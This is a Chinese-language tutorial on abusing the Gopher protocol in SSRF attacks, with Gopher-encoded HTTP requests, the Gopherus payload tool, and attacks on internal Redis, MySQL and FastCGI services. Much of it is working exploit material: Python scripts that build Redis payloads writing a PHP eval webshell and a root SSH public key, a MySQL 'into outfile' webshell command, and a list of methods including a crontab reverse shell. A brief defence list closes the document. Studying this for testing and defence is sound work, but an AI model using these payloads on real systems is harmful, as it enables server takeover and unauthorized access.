gopher在ssrf中的应用
字数 1344 2025-08-24 07:48:09
Gopher协议在SSRF攻击中的应用
1. Gopher协议概述
Gopher是HTTP协议出现前常用的协议,它将Internet上的文件组织成索引形式,使用TCP 70端口。在WWW出现后逐渐被淘汰,但在SSRF攻击中仍有用武之地。
特点:
- 可以发送GET、POST请求
- 可用于攻击内网的Redis、FTP等服务
- 协议格式:
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
2. 使用限制
不同环境对Gopher协议的支持情况:
| 环境 | 支持条件 |
|---|---|
| PHP | 启用curlwrappers且版本≥5.3 |
| Java | JDK<1.7 |
| curl | 低版本不支持 |
| Perl | 支持 |
| ASP.NET | 版本<3 |
3. Gopher发送HTTP请求
发送GET请求示例
原始请求:
GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Gopher格式:
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A
发送POST请求示例
原始请求:
POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
q=Myname
Gopher格式:
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname
4. Gopherus工具
Gopherus是生成Gopher payload的工具,支持多种服务攻击。
安装:
git clone https://github.com/tarunkant/Gopherus.git
支持的服务:
- MySQL (Port:3306)
- FastCGI (Port:9000)
- Memcached (Port:11211)
- Redis (Port:6379)
- Zabbix (Port:10050)
- SMTP (Port:25)
编码注意事项:
- 使用
curl_exec()造成的SSRF需要二次URL编码 - 使用
file_get_contents()造成的SSRF不需要二次URL编码
5. 攻击Redis服务
Redis基础知识
- 默认端口:6379
- 使用RESP协议(Redis序列化协议)
RESP协议数据类型:
- 单行字符串:
+hello world\r\n - 多行字符串:
$11\r\nhello world\r\n - 整数值:
:1024\r\n - 错误消息:
-WRONGTYPE...\r\n - 数组:
*3\r\n:1\r\n:2\r\n:3\r\n
攻击方式
- 绝对路径写webshell
- 写SSH公钥
- 写crontab计划任务反弹shell
- 主从复制webshell
使用Gopherus生成Redis payload
python2 gopherus.py --exploit redis
绝对路径写webshell
构造Redis命令:
flushall
config set dir /var/www/html
config set dbfilename shell.php
set 1 '<?php eval($_GET["cmd"]);?>'
save
Python脚本转换RESP格式:
import urllib
protocol = "gopher://"
ip = "192.168.64.163"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall", "set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
写入SSH公钥
前提:靶机SSH服务开启
import urllib
protocol = "gopher://"
ip = "192.168.64.163"
port = "6379"
ssh_pub = "\n\nssh-rsa AAAAB3NzaC1yc2E... root@kali\n\n"
filename = "authorized_keys"
path = "/root/.ssh/"
passwd = ""
cmd = ["flushall", "set 1 {}".format(ssh_pub.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
6. 攻击MySQL服务
前提条件
- 知道网站路径
- 对数据库有执行权限
- 不需要密码或知道密码
使用Gopherus生成MySQL payload
python2 gopherus.py --exploit mysql
示例命令:
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
7. 攻击FastCGI
FastCGI基础知识
FastCGI是服务器中间件和后端语言通信的协议,由多个record组成。
Record结构
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // record类型
unsigned char requestIdB1; // 请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
漏洞利用
当9000端口暴露时,可以伪造FastCGI协议报文攻击;未暴露时也可通过SSRF利用。
使用Gopherus生成FastCGI payload
python2 gopherus.py --exploit fastcgi
8. 防御措施
- 禁用不必要的协议(Gopher等)
- 限制服务器对外请求
- 对用户输入进行严格过滤
- 及时更新中间件和语言环境
- 配置网络访问控制策略